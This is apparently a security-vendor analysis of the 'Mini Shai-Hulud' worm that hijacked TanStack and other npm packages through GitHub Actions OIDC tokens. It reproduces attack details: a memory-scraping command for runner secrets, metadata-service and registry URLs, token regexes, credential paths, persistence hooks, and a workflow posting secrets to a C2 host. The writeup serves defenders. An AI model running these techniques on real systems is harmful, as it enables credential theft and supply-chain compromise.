TeamPCP's Mini Shai-Hulud Is Back: A Self-Spreading Supply Chain Attack Compromises TanStack npm Packages - StepSecurity
Key Points
- 1TeamPCP's Mini Shai-Hulud worm is a self-propagating supply chain attack that compromised numerous npm packages, notably TanStack, by hijacking legitimate CI/CD pipelines.
- 2The worm exploited GitHub Actions vulnerabilities and OIDC token theft to publish malicious versions, uniquely featuring valid SLSA Build Level 3 provenance attestations for these compromised packages.
- 3Its sophisticated payload scrapes GitHub Actions runner memory for secrets, harvests credentials from over 100 file paths, installs persistence hooks, and autonomously spreads to other packages maintained by the compromised entities.
The TeamPCP threat group executed a sophisticated supply chain attack using a new variant of their self-propagating worm, Mini Shai-Hulud, compromising numerous npm packages, most notably those from TanStack, UiPath, and DraftLab, collectively downloaded millions of times weekly. This incident, detected by StepSecurity AI Package Analyst, involved the publication of malicious package versions through legitimate GitHub Actions release pipelines using hijacked OIDC tokens, making them the first documented npm worm to produce validly-attested malicious packages with SLSA Build Level 3 provenance.
The core methodology involved a three-step chain:
- Staging the Payload: The attacker created a fork of a legitimate repository (e.g., TanStack/router) and committed a malicious payload. This payload included a
package.jsonfor a fake package (e.g.,@tanstack/setup) defining apreparelifecycle hook to execute an obfuscated JavaScript file (tanstack_runner.js) upon installation via a GitHub URL. The&& exit 1in thepreparescript was used to ensure graceful failure, minimizing logs while the payload executed. The GitHub URL itself was crafted to appear legitimate, referencing the original repository but pointing to the attacker's fork commit (e.g.,github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c). - Injecting the Payload: The attacker tampered with published tarballs of legitimate packages. This involved two key modifications:
- Adding a new
optionalDependenciesfield to thepackage.jsonof each compromised package, pointing to the staged malicious payload in the attacker's fork (e.g.,"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"). - Placing an additional malicious file (e.g.,
router_init.js) at the package root, which was intentionally not listed in thefilesfield ofpackage.json, indicating direct tarball tampering. This file was significantly larger and obfuscated compared to clean versions.
- Adding a new
- Publishing via Legitimate CI/CD: The malicious code exploited the compromised project's ambient GitHub Actions OIDC token (with
id-token: writepermission) to publish the tampered packages directly to npm. This bypassed the workflow's normal publish steps, allowing the attacker to push the malicious versions while the legitimate build process might have failed or skipped publishing. Critically, because the publishing was done through the project's own CI/CD, the packages received valid SLSA provenance attestations, indicating that while the build environment was trusted, the process itself was compromised.
The Mini Shai-Hulud worm operates as a true self-propagating entity. After compromising an environment and stealing credentials, it automates its spread by:
- Finding Publishable Tokens: It queries
https://registry.npmjs.org/-/npm/v1/tokensto locate an npm token withbypass_2faset totrue, allowing publication without multi-factor authentication. - Enumerating Target Packages: It queries the npm registry via https://registry.npmjs.org/-/v1/search?text=maintainer:<username>&size=250 to discover all packages associated with the stolen maintainer credentials.
- OIDC Token Exchange for Publishing: In CI/CD environments, it leverages the GitHub OIDC token (
process.env.ACTIONS_ID_TOKEN) to exchange it for a per-package npm publish token via , enabling direct publication of infected tarballs for each identified target package.
The primary malicious payload, router_init.js, is a 2.3 MB single-line JavaScript file, protected by three layers of obfuscation:
- Obfuscator.io String Table: A standard technique using shuffled base64-encoded strings and a resolver function (e.g.,
_0x253b(hex_index - 0x15a)), with an IIFE-based array rotation at startup. - Secondary Cipher (
beautify()): A per-byte Fisher-Yates substitution cipher using SHA-256 stream RNG. The master key for this layer is derived via PBKDF2-SHA256 (salt: svksjrhjkcejg, 200,000 iterations). This layer decrypts sensitive strings like C2 domains, credential file paths, and environment variables. - AES-256-GCM Encrypted Payloads (
w8()): Eleven secondary payloads are encrypted using AES-256-GCM. Their per-payload keys are recovered by applying thebeautify()function to a key ciphertext. After decryption, these payloads are gzip-compressed and require the Bun runtime (Bun.gunzipSync). Thew8()function can be reconstructed as:
\text{function w8}(\text{key, encryptedData}) \{ \\
\quad \text{let keyBuf = Buffer.from(key, 'base64');} \\
\quad \text{let dataBuf = Buffer.from(encryptedData, 'hex');} \\
\quad \text{let iv = dataBuf.subarray(0, 12);} \\
\quad \text{let authTag = dataBuf.subarray(12, 28);} \\
\quad \text{let ciphertext = dataBuf.subarray(28);} \\
\quad \text{let decipher = createDecipheriv('aes-256-gcm', keyBuf, iv);} \\
\quad \text{decipher.setAuthTag(authTag);} \\
\quad \text{let decrypted = Buffer.concat([decipher.update(ciphertext), decipher.final()]); } \\
\quad \text{return new TextDecoder().decode(Bun.gunzipSync(decrypted));} \\
\}Once deobfuscated, the worm's capabilities include:
- Runner.Worker Memory Scraping: A Python script (Payload 5) directly reads the memory of the GitHub Actions
Runner.Workerprocess via/proc/{pid}/memon Linux. It targets and extracts JSON objects matching{"value":"...","isSecret":true}—the internal representation of masked secrets—thus obtaining all secrets configured for the workflow, regardless of explicit referencing. This is executed viasudo python3 | tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u. - Cloud Credential Theft: It actively queries cloud metadata services (e.g., AWS IMDSv2 using
http://169.254.169.254/latest/api/tokenand subsequent role/credential fetches, or ECS container credentials from169.254.170.2). It also collects HashiCorp Vault credentials from local agents (127.0.0.1:8200) and uses regex patterns (e.g.,/npm_[A-Za-z0-9]{36,}/g,/gh[op]_[A-Za-z0-9]{36}/g,/hvs\.[A-Za-z0-9_-]{24,}/g) to identify various token types. - Credential File Harvest: Reads from over 100 hardcoded paths on the victim's system, spanning cloud provider configs (
~/.aws/credentials), SSH keys (~/.ssh/id_rsa), developer tool configs (.npmrc,.docker/config.json), AI tools (.claude.json), cryptocurrency wallets, VPN configs, messaging app data, and shell history files. - Persistence: Installs multiple persistence mechanisms to survive reboots and re-execute:
- IDE Hooks: Writes
settings.jsonfor Claude Code (.claude/settings.json) to execute on session start andtasks.jsonfor VS Code (.vscode/tasks.json) to trigger on folder open. - OS-Level Service: Installs a
gh-token-monitorservice (Payload 1) via platform-specific service managers (e.g.,launchctlon macOS,systemd --useron Linux) to continuously exfiltrate GitHub tokens.
- IDE Hooks: Writes
- GitHub Actions Workflow Injection: Writes malicious GitHub Actions workflows disguised as legitimate ones (e.g.,
.github/workflows/codeql_analysis.yml). These workflows utilizetoJSON(secrets)to serialize all repository secrets and either directly POST them to a C2 server (e.g.,api.masscan.cloud) or upload them as workflow artifacts for later retrieval.
Stolen data is encrypted and exfiltrated through the Session Protocol CDN and GitHub's own GraphQL API, with dead-drop commits authored as claude@users.noreply.github.com and disguised with Dependabot-style branch names. Users who installed compromised versions are advised to assume all secrets accessible in that environment are compromised.